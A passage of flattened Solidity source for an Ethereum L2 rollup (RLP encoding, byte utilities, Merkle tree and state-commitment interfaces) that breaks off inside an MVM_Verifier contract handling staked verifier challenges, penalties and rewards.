a string. * @param _in The string to encode. * @return The RLP encoded string in bytes. */ function writeString(string memory _in) internal pure returns (bytes memory) { return writeBytes(bytes(_in)); } /** * RLP encodes an address. * @param _in The address to encode. * @return The RLP encoded address in bytes. */ function writeAddress(address _in) internal pure returns (bytes memory) { return writeBytes(abi.encodePacked(_in)); } /** * RLP encodes a uint. * @param _in The uint256 to encode. * @return The RLP encoded uint256 in bytes. */ function writeUint(uint256 _in) internal pure returns (bytes memory) { return writeBytes(_toBinary(_in)); } /** * RLP encodes a bool. * @param _in The bool to encode. * @return The RLP encoded bool in bytes. */ function writeBool(bool _in) internal pure returns (bytes memory) { bytes memory encoded = new bytes(1); encoded[0] = (_in ? bytes1(0x01) : bytes1(0x80)); return encoded; } /********************* * Private Functions * *********************/ /** * Encode the first byte, followed by the `len` in binary form if `length` is more than 55. * @param _len The length of the string or the payload. * @param _offset 128 if item is string, 192 if item is list. * @return RLP encoded bytes. */ function _writeLength(uint256 _len, uint256 _offset) private pure returns (bytes memory) { bytes memory encoded; if (_len < 56) { encoded = new bytes(1); encoded[0] = bytes1(uint8(_len) + uint8(_offset)); } else { uint256 lenLen; uint256 i = 1; while (_len / i != 0) { lenLen++; i *= 256; } encoded = new bytes(lenLen + 1); encoded[0] = bytes1(uint8(lenLen) + uint8(_offset) + 55); for (i = 1; i <= lenLen; i++) { encoded[i] = bytes1(uint8((_len / (256**(lenLen - i))) % 256)); } } return encoded; } /** * Encode integer in big endian binary form with no leading zeroes. * @notice TODO: This should be optimized with assembly to save gas costs. * @param _x The integer to encode. * @return RLP encoded bytes. */ function _toBinary(uint256 _x) private pure returns (bytes memory) { bytes memory b = abi.encodePacked(_x); uint256 i = 0; for (; i < 32; i++) { if (b[i] != 0) { break; } } bytes memory res = new bytes(32 - i); for (uint256 j = 0; j < res.length; j++) { res[j] = b[i++]; } return res; } /** * Copies a piece of memory to another location. * @notice From: https://github.com/Arachnid/solidity-stringutils/blob/master/src/strings.sol. * @param _dest Destination location. * @param _src Source location. * @param _len Length of memory to copy. */ function _memcpy( uint256 _dest, uint256 _src, uint256 _len ) private pure { uint256 dest = _dest; uint256 src = _src; uint256 len = _len; for (; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } uint256 mask; unchecked { mask = 256**(32 - len) - 1; } assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } } /** * Flattens a list of byte strings into one byte string. * @notice From: https://github.com/sammayo/solidity-rlp-encoder/blob/master/RLPEncode.sol. * @param _list List of byte strings to flatten. * @return The flattened byte string. */ function _flatten(bytes[] memory _list) private pure returns (bytes memory) { if (_list.length == 0) { return new bytes(0); } uint256 len; uint256 i = 0; for (; i < _list.length; i++) { len += _list[i].length; } bytes memory flattened = new bytes(len); uint256 flattenedPtr; assembly { flattenedPtr := add(flattened, 0x20) } for (i = 0; i < _list.length; i++) { bytes memory item = _list[i]; uint256 listPtr; assembly { listPtr := add(item, 0x20) } _memcpy(flattenedPtr, listPtr, item.length); flattenedPtr += _list[i].length; } return flattened; } } // File contracts/libraries/utils/Lib_BytesUtils.sol // MIT pragma solidity ^0.8.9; /** * @title Lib_BytesUtils */ library Lib_BytesUtils { /********************** * Internal Functions * **********************/ function slice( bytes memory _bytes, uint256 _start, uint256 _length ) internal pure returns (bytes memory) { require(_length + 31 >= _length, "slice_overflow"); require(_start + _length >= _start, "slice_overflow"); require(_bytes.length >= _start + _length, "slice_outOfBounds"); bytes memory tempBytes; assembly { switch iszero(_length) case 0 { // Get a location of some free memory and store it in tempBytes as // Solidity does for memory variables. tempBytes := mload(0x40) // The first word of the slice result is potentially a partial // word read from the original array. To read it, we calculate // the length of that partial word and start copying that many // bytes into the array. The first word we copy will start with // data we don't care about, but the last `lengthmod` bytes will // land at the beginning of the contents of the new array. When // we're done copying, we overwrite the full first word with // the actual length of the slice. let lengthmod := and(_length, 31) // The multiplication in the next line is necessary // because when slicing multiples of 32 bytes (lengthmod == 0) // the following copy loop was copying the origin's length // and then ending prematurely not copying everything it should. let mc := add(add(tempBytes, lengthmod), mul(0x20, iszero(lengthmod))) let end := add(mc, _length) for { // The multiplication in the next line has the same exact purpose // as the one above. let cc := add(add(add(_bytes, lengthmod), mul(0x20, iszero(lengthmod))), _start) } lt(mc, end) { mc := add(mc, 0x20) cc := add(cc, 0x20) } { mstore(mc, mload(cc)) } mstore(tempBytes, _length) //update free-memory pointer //allocating the array padded to 32 bytes like the compiler does now mstore(0x40, and(add(mc, 31), not(31))) } //if we want a zero-length slice let's just return a zero-length array default { tempBytes := mload(0x40) //zero out the 32 bytes slice we are about to return //we need to do it because Solidity does not garbage collect mstore(tempBytes, 0) mstore(0x40, add(tempBytes, 0x20)) } } return tempBytes; } function slice(bytes memory _bytes, uint256 _start) internal pure returns (bytes memory) { if (_start >= _bytes.length) { return bytes(""); } return slice(_bytes, _start, _bytes.length - _start); } function toBytes32(bytes memory _bytes) internal pure returns (bytes32) { if (_bytes.length < 32) { bytes32 ret; assembly { ret := mload(add(_bytes, 32)) } return ret; } return abi.decode(_bytes, (bytes32)); // will truncate if input length > 32 bytes } function toUint256(bytes memory _bytes) internal pure returns (uint256) { return uint256(toBytes32(_bytes)); } function toNibbles(bytes memory _bytes) internal pure returns (bytes memory) { bytes memory nibbles = new bytes(_bytes.length * 2); for (uint256 i = 0; i < _bytes.length; i++) { nibbles[i * 2] = _bytes[i] >> 4; nibbles[i * 2 + 1] = bytes1(uint8(_bytes[i]) % 16); } return nibbles; } function fromNibbles(bytes memory _bytes) internal pure returns (bytes memory) { bytes memory ret = new bytes(_bytes.length / 2); for (uint256 i = 0; i < ret.length; i++) { ret[i] = (_bytes[i * 2] << 4) | (_bytes[i * 2 + 1]); } return ret; } function equal(bytes memory _bytes, bytes memory _other) internal pure returns (bool) { return keccak256(_bytes) == keccak256(_other); } } // File contracts/libraries/utils/Lib_Bytes32Utils.sol // MIT pragma solidity ^0.8.9; /** * @title Lib_Byte32Utils */ library Lib_Bytes32Utils { /********************** * Internal Functions * **********************/ /** * Converts a bytes32 value to a boolean. Anything non-zero will be converted to "true." * @param _in Input bytes32 value. * @return Bytes32 as a boolean. */ function toBool(bytes32 _in) internal pure returns (bool) { return _in != 0; } /** * Converts a boolean to a bytes32 value. * @param _in Input boolean value. * @return Boolean as a bytes32. */ function fromBool(bool _in) internal pure returns (bytes32) { return bytes32(uint256(_in ? 1 : 0)); } /** * Converts a bytes32 value to an address. Takes the *last* 20 bytes. * @param _in Input bytes32 value. * @return Bytes32 as an address. */ function toAddress(bytes32 _in) internal pure returns (address) { return address(uint160(uint256(_in))); } /** * Converts an address to a bytes32. * @param _in Input address value. * @return Address as a bytes32. */ function fromAddress(address _in) internal pure returns (bytes32) { return bytes32(uint256(uint160(_in))); } } // File contracts/libraries/codec/Lib_OVMCodec.sol // MIT pragma solidity ^0.8.9; /* Library Imports */ /** * @title Lib_OVMCodec */ library Lib_OVMCodec { /********* * Enums * *********/ enum QueueOrigin { SEQUENCER_QUEUE, L1TOL2_QUEUE } /*********** * Structs * ***********/ struct EVMAccount { uint256 nonce; uint256 balance; bytes32 storageRoot; bytes32 codeHash; } struct ChainBatchHeader { uint256 batchIndex; bytes32 batchRoot; uint256 batchSize; uint256 prevTotalElements; bytes extraData; } struct ChainInclusionProof { uint256 index; bytes32[] siblings; } struct Transaction { uint256 timestamp; uint256 blockNumber; QueueOrigin l1QueueOrigin; address l1TxOrigin; address entrypoint; uint256 gasLimit; bytes data; } struct TransactionChainElement { bool isSequenced; uint256 queueIndex; // QUEUED TX ONLY uint256 timestamp; // SEQUENCER TX ONLY uint256 blockNumber; // SEQUENCER TX ONLY bytes txData; // SEQUENCER TX ONLY } struct QueueElement { bytes32 transactionHash; uint40 timestamp; uint40 blockNumber; } /********************** * Internal Functions * **********************/ /** * Encodes a standard OVM transaction. * @param _transaction OVM transaction to encode. * @return Encoded transaction bytes. */ function encodeTransaction(Transaction memory _transaction) internal pure returns (bytes memory) { return abi.encodePacked( _transaction.timestamp, _transaction.blockNumber, _transaction.l1QueueOrigin, _transaction.l1TxOrigin, _transaction.entrypoint, _transaction.gasLimit, _transaction.data ); } /** * Hashes a standard OVM transaction. * @param _transaction OVM transaction to encode. * @return Hashed transaction */ function hashTransaction(Transaction memory _transaction) internal pure returns (bytes32) { return keccak256(encodeTransaction(_transaction)); } /** * @notice Decodes an RLP-encoded account state into a useful struct. * @param _encoded RLP-encoded account state. * @return Account state struct. */ function decodeEVMAccount(bytes memory _encoded) internal pure returns (EVMAccount memory) { Lib_RLPReader.RLPItem[] memory accountState = Lib_RLPReader.readList(_encoded); return EVMAccount({ nonce: Lib_RLPReader.readUint256(accountState[0]), balance: Lib_RLPReader.readUint256(accountState[1]), storageRoot: Lib_RLPReader.readBytes32(accountState[2]), codeHash: Lib_RLPReader.readBytes32(accountState[3]) }); } /** * Calculates a hash for a given batch header. * @param _batchHeader Header to hash. * @return Hash of the header. */ function hashBatchHeader(Lib_OVMCodec.ChainBatchHeader memory _batchHeader) internal pure returns (bytes32) { return keccak256( abi.encode( _batchHeader.batchRoot, _batchHeader.batchSize, _batchHeader.prevTotalElements, _batchHeader.extraData ) ); } } // File contracts/libraries/utils/Lib_MerkleTree.sol // MIT pragma solidity ^0.8.9; /** * @title Lib_MerkleTree * @author River Keefer */ library Lib_MerkleTree { /********************** * Internal Functions * **********************/ /** * Calculates a merkle root for a list of 32-byte leaf hashes. WARNING: If the number * of leaves passed in is not a power of two, it pads out the tree with zero hashes. * If you do not know the original length of elements for the tree you are verifying, then * this may allow empty leaves past _elements.length to pass a verification check down the line. * Note that the _elements argument is modified, therefore it must not be used again afterwards * @param _elements Array of hashes from which to generate a merkle root. * @return Merkle root of the leaves, with zero hashes for non-powers-of-two (see above). */ function getMerkleRoot(bytes32[] memory _elements) internal pure returns (bytes32) { require(_elements.length > 0, "Lib_MerkleTree: Must provide at least one leaf hash."); if (_elements.length == 1) { return _elements[0]; } uint256[16] memory defaults = [ 0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563, 0x633dc4d7da7256660a892f8f1604a44b5432649cc8ec5cb3ced4c4e6ac94dd1d, 0x890740a8eb06ce9be422cb8da5cdafc2b58c0a5e24036c578de2a433c828ff7d, 0x3b8ec09e026fdc305365dfc94e189a81b38c7597b3d941c279f042e8206e0bd8, 0xecd50eee38e386bd62be9bedb990706951b65fe053bd9d8a521af753d139e2da, 0xdefff6d330bb5403f63b14f33b578274160de3a50df4efecf0e0db73bcdd3da5, 0x617bdd11f7c0a11f49db22f629387a12da7596f9d1704d7465177c63d88ec7d7, 0x292c23a9aa1d8bea7e2435e555a4a60e379a5a35f3f452bae60121073fb6eead, 0xe1cea92ed99acdcb045a6726b2f87107e8a61620a232cf4d7d5b5766b3952e10, 0x7ad66c0a68c72cb89e4fb4303841966e4062a76ab97451e3b9fb526a5ceb7f82, 0xe026cc5a4aed3c22a58cbd3d2ac754c9352c5436f638042dca99034e83636516, 0x3d04cffd8b46a874edf5cfae63077de85f849a660426697b06a829c70dd1409c, 0xad676aa337a485e4728a0b240d92b3ef7b3c372d06d189322bfd5f61f1e7203e, 0xa2fca4a49658f9fab7aa63289c91b7c7b6c832a6d0e69334ff5b0a3483d09dab, 0x4ebfd9cd7bca2505f7bef59cc1c12ecc708fff26ae4af19abe852afe9e20c862, 0x2def10d13dd169f550f578bda343d9717a138562e0093b380a1120789d53cf10 ]; // Reserve memory space for our hashes. bytes memory buf = new bytes(64); // We'll need to keep track of left and right siblings. bytes32 leftSibling; bytes32 rightSibling; // Number of non-empty nodes at the current depth. uint256 rowSize = _elements.length; // Current depth, counting from 0 at the leaves uint256 depth = 0; // Common sub-expressions uint256 halfRowSize; // rowSize / 2 bool rowSizeIsOdd; // rowSize % 2 == 1 while (rowSize > 1) { halfRowSize = rowSize / 2; rowSizeIsOdd = rowSize % 2 == 1; for (uint256 i = 0; i < halfRowSize; i++) { leftSibling = _elements[(2 * i)]; rightSibling = _elements[(2 * i) + 1]; assembly { mstore(add(buf, 32), leftSibling) mstore(add(buf, 64), rightSibling) } _elements[i] = keccak256(buf); } if (rowSizeIsOdd) { leftSibling = _elements[rowSize - 1]; rightSibling = bytes32(defaults[depth]); assembly { mstore(add(buf, 32), leftSibling) mstore(add(buf, 64), rightSibling) } _elements[halfRowSize] = keccak256(buf); } rowSize = halfRowSize + (rowSizeIsOdd ? 1 : 0); depth++; } return _elements[0]; } /** * Verifies a merkle branch for the given leaf hash. Assumes the original length * of leaves generated is a known, correct input, and does not return true for indices * extending past that index (even if _siblings would be otherwise valid.) * @param _root The Merkle root to verify against. * @param _leaf The leaf hash to verify inclusion of. * @param _index The index in the tree of this leaf. * @param _siblings Array of sibline nodes in the inclusion proof, starting from depth 0 * (bottom of the tree). * @param _totalLeaves The total number of leaves originally passed into. * @return Whether or not the merkle branch and leaf passes verification. */ function verify( bytes32 _root, bytes32 _leaf, uint256 _index, bytes32[] memory _siblings, uint256 _totalLeaves ) internal pure returns (bool) { require(_totalLeaves > 0, "Lib_MerkleTree: Total leaves must be greater than zero."); require(_index < _totalLeaves, "Lib_MerkleTree: Index out of bounds."); require( _siblings.length == _ceilLog2(_totalLeaves), "Lib_MerkleTree: Total siblings does not correctly correspond to total leaves." ); bytes32 computedRoot = _leaf; for (uint256 i = 0; i < _siblings.length; i++) { if ((_index & 1) == 1) { computedRoot = keccak256(abi.encodePacked(_siblings[i], computedRoot)); } else { computedRoot = keccak256(abi.encodePacked(computedRoot, _siblings[i])); } _index >>= 1; } return _root == computedRoot; } /********************* * Private Functions * *********************/ /** * Calculates the integer ceiling of the log base 2 of an input. * @param _in Unsigned input to calculate the log. * @return ceil(log_base_2(_in)) */ function _ceilLog2(uint256 _in) private pure returns (uint256) { require(_in > 0, "Lib_MerkleTree: Cannot compute ceil(log_2) of 0."); if (_in == 1) { return 0; } // Find the highest set bit (will be floor(log_2)). // Borrowed with <3 from https://github.com/ethereum/solidity-examples uint256 val = _in; uint256 highest = 0; for (uint256 i = 128; i >= 1; i >>= 1) { if (val & (((uint256(1) << i) - 1) << i) != 0) { highest += i; val >>= i; } } // Increment by one if this is not a perfect logarithm. if ((uint256(1) << highest) != _in) { highest += 1; } return highest; } } // File contracts/L1/rollup/IChainStorageContainer.sol // MIT pragma solidity >0.5.0 <0.9.0; /** * @title IChainStorageContainer */ interface IChainStorageContainer { /******************** * Public Functions * ********************/ /** * Sets the container's global metadata field. We're using `bytes27` here because we use five * bytes to maintain the length of the underlying data structure, meaning we have an extra * 27 bytes to store arbitrary data. * @param _globalMetadata New global metadata to set. */ function setGlobalMetadata(bytes27 _globalMetadata) external; /** * Retrieves the container's global metadata field. * @return Container global metadata field. */ function getGlobalMetadata() external view returns (bytes27); /** * Retrieves the number of objects stored in the container. * @return Number of objects in the container. */ function length() external view returns (uint256); /** * Pushes an object into the container. * @param _object A 32 byte value to insert into the container. */ function push(bytes32 _object) external; /** * Pushes an object into the container. Function allows setting the global metadata since * we'll need to touch the "length" storage slot anyway, which also contains the global * metadata (it's an optimization). * @param _object A 32 byte value to insert into the container. * @param _globalMetadata New global metadata for the container. */ function push(bytes32 _object, bytes27 _globalMetadata) external; /** * Set an object into the container. Function allows setting the global metadata since * we'll need to touch the "length" storage slot anyway, which also contains the global * metadata (it's an optimization). * @param _index position. * @param _object A 32 byte value to insert into the container. */ function setByChainId( uint256 _chainId, uint256 _index, bytes32 _object ) external; /** * Retrieves an object from the container. * @param _index Index of the particular object to access. * @return 32 byte object value. */ function get(uint256 _index) external view returns (bytes32); /** * Removes all objects after and including a given index. * @param _index Object index to delete from. */ function deleteElementsAfterInclusive(uint256 _index) external; /** * Removes all objects after and including a given index. Also allows setting the global * metadata field. * @param _index Object index to delete from. * @param _globalMetadata New global metadata for the container. */ function deleteElementsAfterInclusive(uint256 _index, bytes27 _globalMetadata) external; /** * Sets the container's global metadata field. We're using `bytes27` here because we use five * bytes to maintain the length of the underlying data structure, meaning we have an extra * 27 bytes to store arbitrary data. * @param _chainId identity for the l2 chain. * @param _globalMetadata New global metadata to set. */ function setGlobalMetadataByChainId( uint256 _chainId, bytes27 _globalMetadata ) external; /** * Retrieves the container's global metadata field. * @param _chainId identity for the l2 chain. * @return Container global metadata field. */ function getGlobalMetadataByChainId( uint256 _chainId ) external view returns ( bytes27 ); /** * Retrieves the number of objects stored in the container. * @param _chainId identity for the l2 chain. * @return Number of objects in the container. */ function lengthByChainId( uint256 _chainId ) external view returns ( uint256 ); /** * Pushes an object into the container. * @param _chainId identity for the l2 chain. * @param _object A 32 byte value to insert into the container. */ function pushByChainId( uint256 _chainId, bytes32 _object ) external; /** * Pushes an object into the container. Function allows setting the global metadata since * we'll need to touch the "length" storage slot anyway, which also contains the global * metadata (it's an optimization). * @param _chainId identity for the l2 chain. * @param _object A 32 byte value to insert into the container. * @param _globalMetadata New global metadata for the container. */ function pushByChainId( uint256 _chainId, bytes32 _object, bytes27 _globalMetadata ) external; /** * Retrieves an object from the container. * @param _chainId identity for the l2 chain. * @param _index Index of the particular object to access. * @return 32 byte object value. */ function getByChainId( uint256 _chainId, uint256 _index ) external view returns ( bytes32 ); /** * Removes all objects after and including a given index. * @param _chainId identity for the l2 chain. * @param _index Object index to delete from. */ function deleteElementsAfterInclusiveByChainId( uint256 _chainId, uint256 _index ) external; /** * Removes all objects after and including a given index. Also allows setting the global * metadata field. * @param _chainId identity for the l2 chain. * @param _index Object index to delete from. * @param _globalMetadata New global metadata for the container. */ function deleteElementsAfterInclusiveByChainId( uint256 _chainId, uint256 _index, bytes27 _globalMetadata ) external; } // File contracts/L1/rollup/IStateCommitmentChain.sol // MIT pragma solidity >0.5.0 <0.9.0; /* Library Imports */ /** * @title IStateCommitmentChain */ interface IStateCommitmentChain { /********** * Events * **********/ event StateBatchAppended( uint256 _chainId, uint256 indexed _batchIndex, bytes32 _batchRoot, uint256 _batchSize, uint256 _prevTotalElements, bytes _extraData ); event StateBatchDeleted( uint256 _chainId, uint256 indexed _batchIndex, bytes32 _batchRoot ); /******************** * Public Functions * ********************/ function batches() external view returns (IChainStorageContainer); /** * Retrieves the total number of elements submitted. * @return _totalElements Total submitted elements. */ function getTotalElements() external view returns (uint256 _totalElements); /** * Retrieves the total number of batches submitted. * @return _totalBatches Total submitted batches. */ function getTotalBatches() external view returns (uint256 _totalBatches); /** * Retrieves the timestamp of the last batch submitted by the sequencer. * @return _lastSequencerTimestamp Last sequencer batch timestamp. */ function getLastSequencerTimestamp() external view returns (uint256 _lastSequencerTimestamp); /** * Appends a batch of state roots to the chain. * @param _batch Batch of state roots. * @param _shouldStartAtElement Index of the element at which this batch should start. */ function appendStateBatch(bytes32[] calldata _batch, uint256 _shouldStartAtElement) external; /** * Deletes all state roots after (and including) a given batch. * @param _batchHeader Header of the batch to start deleting from. */ function deleteStateBatch(Lib_OVMCodec.ChainBatchHeader memory _batchHeader) external; /** * Verifies a batch inclusion proof. * @param _element Hash of the element to verify a proof for. * @param _batchHeader Header of the batch in which the element was included. * @param _proof Merkle inclusion proof for the element. */ function verifyStateCommitment( bytes32 _element, Lib_OVMCodec.ChainBatchHeader memory _batchHeader, Lib_OVMCodec.ChainInclusionProof memory _proof ) external view returns (bool _verified); /** * Checks whether a given batch is still inside its fraud proof window. * @param _batchHeader Header of the batch to check. * @return _inside Whether or not the batch is inside the fraud proof window. */ function insideFraudProofWindow(Lib_OVMCodec.ChainBatchHeader memory _batchHeader) external view returns ( bool _inside ); /******************** * chain id added func * ********************/ /** * Retrieves the total number of elements submitted. * @param _chainId identity for the l2 chain. * @return _totalElements Total submitted elements. */ function getTotalElementsByChainId(uint256 _chainId) external view returns ( uint256 _totalElements ); /** * Retrieves the total number of batches submitted. * @param _chainId identity for the l2 chain. * @return _totalBatches Total submitted batches. */ function getTotalBatchesByChainId(uint256 _chainId) external view returns ( uint256 _totalBatches ); /** * Retrieves the timestamp of the last batch submitted by the sequencer. * @param _chainId identity for the l2 chain. * @return _lastSequencerTimestamp Last sequencer batch timestamp. */ function getLastSequencerTimestampByChainId(uint256 _chainId) external view returns ( uint256 _lastSequencerTimestamp ); /** * Appends a batch of state roots to the chain. * @param _chainId identity for the l2 chain. * @param _batch Batch of state roots. * @param _shouldStartAtElement Index of the element at which this batch should start. */ function appendStateBatchByChainId( uint256 _chainId, bytes32[] calldata _batch, uint256 _shouldStartAtElement, string calldata proposer ) external; /** * Deletes all state roots after (and including) a given batch. * @param _chainId identity for the l2 chain. * @param _batchHeader Header of the batch to start deleting from. */ function deleteStateBatchByChainId( uint256 _chainId, Lib_OVMCodec.ChainBatchHeader memory _batchHeader ) external; /** * Verifies a batch inclusion proof. * @param _chainId identity for the l2 chain. * @param _element Hash of the element to verify a proof for. * @param _batchHeader Header of the batch in which the element was included. * @param _proof Merkle inclusion proof for the element. */ function verifyStateCommitmentByChainId( uint256 _chainId, bytes32 _element, Lib_OVMCodec.ChainBatchHeader memory _batchHeader, Lib_OVMCodec.ChainInclusionProof memory _proof ) external view returns ( bool _verified ); /** * Checks whether a given batch is still inside its fraud proof window. * @param _chainId identity for the l2 chain. * @param _batchHeader Header of the batch to check. * @return _inside Whether or not the batch is inside the fraud proof window. */ function insideFraudProofWindowByChainId( uint256 _chainId, Lib_OVMCodec.ChainBatchHeader memory _batchHeader ) external view returns ( bool _inside ); } // File contracts/MVM/MVM_Verifier.sol // MIT pragma solidity ^0.8.9; /* Contract Imports */ /* External Imports */ contract MVM_Verifier is Lib_AddressResolver{ // second slot address public metis; enum SETTLEMENT {NOT_ENOUGH_VERIFIER, SAME_ROOT, AGREE, DISAGREE, PASS} event NewChallenge(uint256 cIndex, uint256 chainID, Lib_OVMCodec.ChainBatchHeader header, uint256 timestamp); event Verify1(uint256 cIndex, address verifier); event Verify2(uint256 cIndex, address verifier); event Finalize(uint256 cIndex, address sender, SETTLEMENT result); event Penalize(address sender, uint256 stakeLost); event Reward(address target, uint256 amount); event Claim(address sender, uint256 amount); event Withdraw(address sender, uint256 amount); event Stake(address verifier, uint256 amount); event SlashSequencer(uint256 chainID, address seq); /************* * Constants * *************/ string constant public CONFIG_OWNER_KEY = "METIS_MANAGER"; //challenge info struct Challenge { address challenger; uint256 chainID; uint256 index; Lib_OVMCodec.ChainBatchHeader header; uint256 timestamp; uint256 numQualifiedVerifiers; uint256 numVerifiers; address[] verifiers; bool done; } mapping (address => uint256) public verifier_stakes; mapping (uint256 => mapping (address=>bytes)) private challenge_keys; mapping (uint256 => mapping (address=>bytes)) private challenge_key_hashes; mapping (uint256 => mapping (address=>bytes)) private challenge_hashes; mapping (address => uint256) public rewards; mapping (address => uint8) public absence_strikes; mapping (address => uint8) public consensus_strikes; // only one active challenge for each chain chainid=>cIndex mapping (uint256 => uint256) public chain_under_challenge; // white list mapping (address => bool) public whitelist; bool useWhiteList; address[] public verifiers; Challenge[] public challenges; uint public verifyWindow = 3600 * 24; // 24 hours of window to complete the each verify phase uint public activeChallenges; uint256 public minStake; uint256 public seqStake; uint256 public numQualifiedVerifiers; uint FAIL_THRESHOLD = 2; // 1 time grace uint ABSENCE_THRESHOLD = 4; // 2 times grace modifier onlyManager { require( msg.sender == resolve(CONFIG_OWNER_KEY), "MVM_Verifier: Function can only be called by the METIS_MANAGER." ); _; } modifier onlyWhitelisted { require(isWhiteListed(msg.sender), "only whitelisted verifiers can call"); _; } modifier onlyStaked { require(isSufficientlyStaked(msg.sender), "insufficient stake"); _; } constructor( ) Lib_AddressResolver(address(0)) { } // add stake as a verifier function verifierStake(uint256 stake) public onlyWhitelisted{ require(activeChallenges == 0, "stake is currently prohibited"); //ongoing challenge require(stake > 0, "zero stake not allowed"); require(IERC20(metis).transferFrom(msg.sender, address(this), stake), "transfer metis failed"); uint256 previousBalance = verifier_stakes[msg.sender]; verifier_stakes[msg.sender] += stake; require(isSufficientlyStaked(msg.sender), "insufficient stake to qualify as a verifier"); if (previousBalance == 0) { numQualifiedVerifiers++; verifiers.push(msg.sender); } emit Stake(msg.sender, stake); } // start a new challenge // @param chainID chainid // @param header chainbatch header // @param proposedHash encrypted hash of the correct state // @param keyhash hash of the decryption key // // @dev why do we ask for key and keyhash? because we want verifiers compute the state instead // of just copying from other verifiers. function newChallenge(uint256 chainID, Lib_OVMCodec.ChainBatchHeader calldata header, bytes calldata proposedHash, bytes calldata keyhash) public onlyWhitelisted onlyStaked { uint tempIndex = chain_under_challenge[chainID] - 1; require(tempIndex == 0 || block.timestamp - challenges[tempIndex].timestamp > verifyWindow * 2, "there is an ongoing challenge"); if (tempIndex > 0) { finalize(tempIndex); } IStateCommitmentChain stateChain = IStateCommitmentChain(resolve("StateCommitmentChain")); // while the root is encrypted, the timestamp is available in the extradata field of the header require(stateChain.insideFraudProofWindow(header), "the batch is outside of the fraud proof window"); Challenge memory c; c.chainID = chainID; c.challenger = msg.sender; c.timestamp = block.timestamp; c.header = header; challenges.push(c); uint cIndex = challenges.length - 1; // house keeping challenge_hashes[cIndex][msg.sender] = proposedHash; challenge_key_hashes[cIndex][msg.sender] = keyhash; challenges[cIndex].numVerifiers++; // the challenger // this will prevent stake change activeChallenges++; chain_under_challenge[chainID] = cIndex + 1; // +1 because 0 means no in-progress challenge emit NewChallenge(cIndex, chainID, header, block.timestamp); } // phase 1 of the verify, provide an encrypted hash and the hash of the decryption key // @param cIndex index of the challenge // @param hash encrypted hash of the correct state (for the index referred in the challenge) // @param keyhash hash of the decryption key function verify1(uint256 cIndex, bytes calldata hash, bytes calldata keyhash) public onlyWhitelisted onlyStaked{ require(challenge_hashes[cIndex][msg.sender].length == 0, "verify1 already completed for the sender"); challenge_hashes[cIndex][msg.sender] = hash; challenge_key_hashes[cIndex][msg.sender] = keyhash; challenges[cIndex].numVerifiers++; emit Verify1(cIndex, msg.sender); } // phase 2 of the verify, provide the actual key to decrypt the hash // @param cIndex index of the challenge // @param key the decryption key function verify2(uint256 cIndex, bytes calldata key) public onlyStaked onlyWhitelisted{ require(challenges[cIndex].numVerifiers == numQualifiedVerifiers || block.timestamp - challenges[cIndex].timestamp > verifyWindow, "phase 2 not ready"); require(challenge_hashes[cIndex][msg.sender].length > 0, "you didn't participate in phase 1"); if (challenge_keys[cIndex][msg.sender].length > 0) { finalize(cIndex); return; } //verify whether the key matches the keyhash initially provided. require(sha256(key) == bytes32(challenge_key_hashes[cIndex][msg.sender]), "key and keyhash don't match"); if (msg.sender == challenges[cIndex].challenger) { //decode the root in the header too challenges[cIndex].header.batchRoot = bytes32(decrypt(abi.encodePacked(challenges[cIndex].header.batchRoot), key)); } challenge_keys[cIndex][msg.sender] = key; challenge_hashes[cIndex][msg.sender] = decrypt(challenge_hashes[cIndex][msg.sender], key); challenges[cIndex].verifiers.push(msg.sender); emit Verify2(cIndex, msg.sender); finalize(cIndex); } function finalize(uint256 cIndex) internal { Challenge storage challenge = challenges[cIndex]; require(challenge.done == false, "challenge is closed"); if (challenge.verifiers.length != challenge.numVerifiers && block.timestamp - challenge.timestamp < verifyWindow * 2) { // not ready to finalize. do nothing return; } IStateCommitmentChain stateChain = IStateCommitmentChain(resolve("StateCommitmentChain")); bytes32 proposedHash = bytes32(challenge_hashes[cIndex][challenge.challenger]); uint reward = 0; address[] memory agrees = new address[](challenge.verifiers.length); uint numAgrees = 0; address[] memory disagrees = new address[](challenge.verifiers.length); uint numDisagrees = 0; for (uint256 i = 0; i < verifiers.length; i++) { if (!isSufficientlyStaked(verifiers[i]) || !isWhiteListed(verifiers[i])) { // not qualified as a verifier continue; } //record the agreement if (bytes32(challenge_hashes[cIndex][verifiers[i]]) == proposedHash) { //agree with the challenger if (absence_strikes[verifiers[i]] > 0) { absence_strikes[verifiers[i]] -= 1; // slowly clear the strike } agrees[numAgrees] = verifiers[i]; numAgrees++; } else if (challenge_keys[cIndex][verifiers[i]].length == 0) { //absent absence_strikes[verifiers[i]] += 2; if (absence_strikes[verifiers[i]] > ABSENCE_THRESHOLD) { reward += penalize(verifiers[i]); } } else { //disagree with the challenger if (absence_strikes[verifiers[i]] > 0) { absence_strikes[verifiers[i]] -= 1; // slowly clear the strike } disagrees[numDisagrees] = verifiers[i]; numDisagrees++; } } if (Lib_OVMCodec.hashBatchHeader(challenge.header) != stateChain.batches().getByChainId(challenge.chainID, challenge.header.batchIndex)) { // wrong header, penalize the challenger reward += penalize(challenge.challenger); // reward the disagrees. but no penalty on agrees because the input // is garbage. distributeReward(reward, disagrees, challenge.verifiers.length - 1); emit Finalize(cIndex, msg.sender, SETTLEMENT.DISAGREE); } else if (challenge.verifiers.length < numQualifiedVerifiers * 75 / 100) { // the absent verifiers get a absense strike. no other penalties. already done emit Finalize(cIndex, msg.sender, SETTLEMENT.NOT_ENOUGH_VERIFIER); } else if (proposedHash != challenge.header.batchRoot) { if (numAgrees <= numDisagrees) { // no consensus, challenge failed. for (uint i = 0; i < numAgrees; i++) { consensus_strikes[agrees[i]] += 2; if (consensus_strikes[agrees[i]] > FAIL_THRESHOLD) { reward += penalize(agrees[i]); } } distributeReward(reward, disagrees, disagrees.length); emit Finalize(cIndex, msg.sender, SETTLEMENT.DISAGREE); } else { // reached agreement. delete the batch root and slash the sequencer if the header is still valid if(stateChain.insideFraudProofWindow(challenge.header)) { // this header needs to be within the window stateChain.deleteStateBatchByChainId(challenge.chainID, challenge.header); // temporary for the p1 of the decentralization roadmap if (seqStake > 0) { reward += seqStake; for (uint i = 0; i < numDisagrees; i++) { consensus_strikes[disagrees[i]] += 2; if (consensus_strikes[disagrees[i]] > FAIL_THRESHOLD) { reward += penalize(disagrees[i]); } } distributeReward(reward, agrees, agrees.length); } emit Finalize(cIndex, msg.sender, SETTLEMENT.AGREE); } else { //not in the window 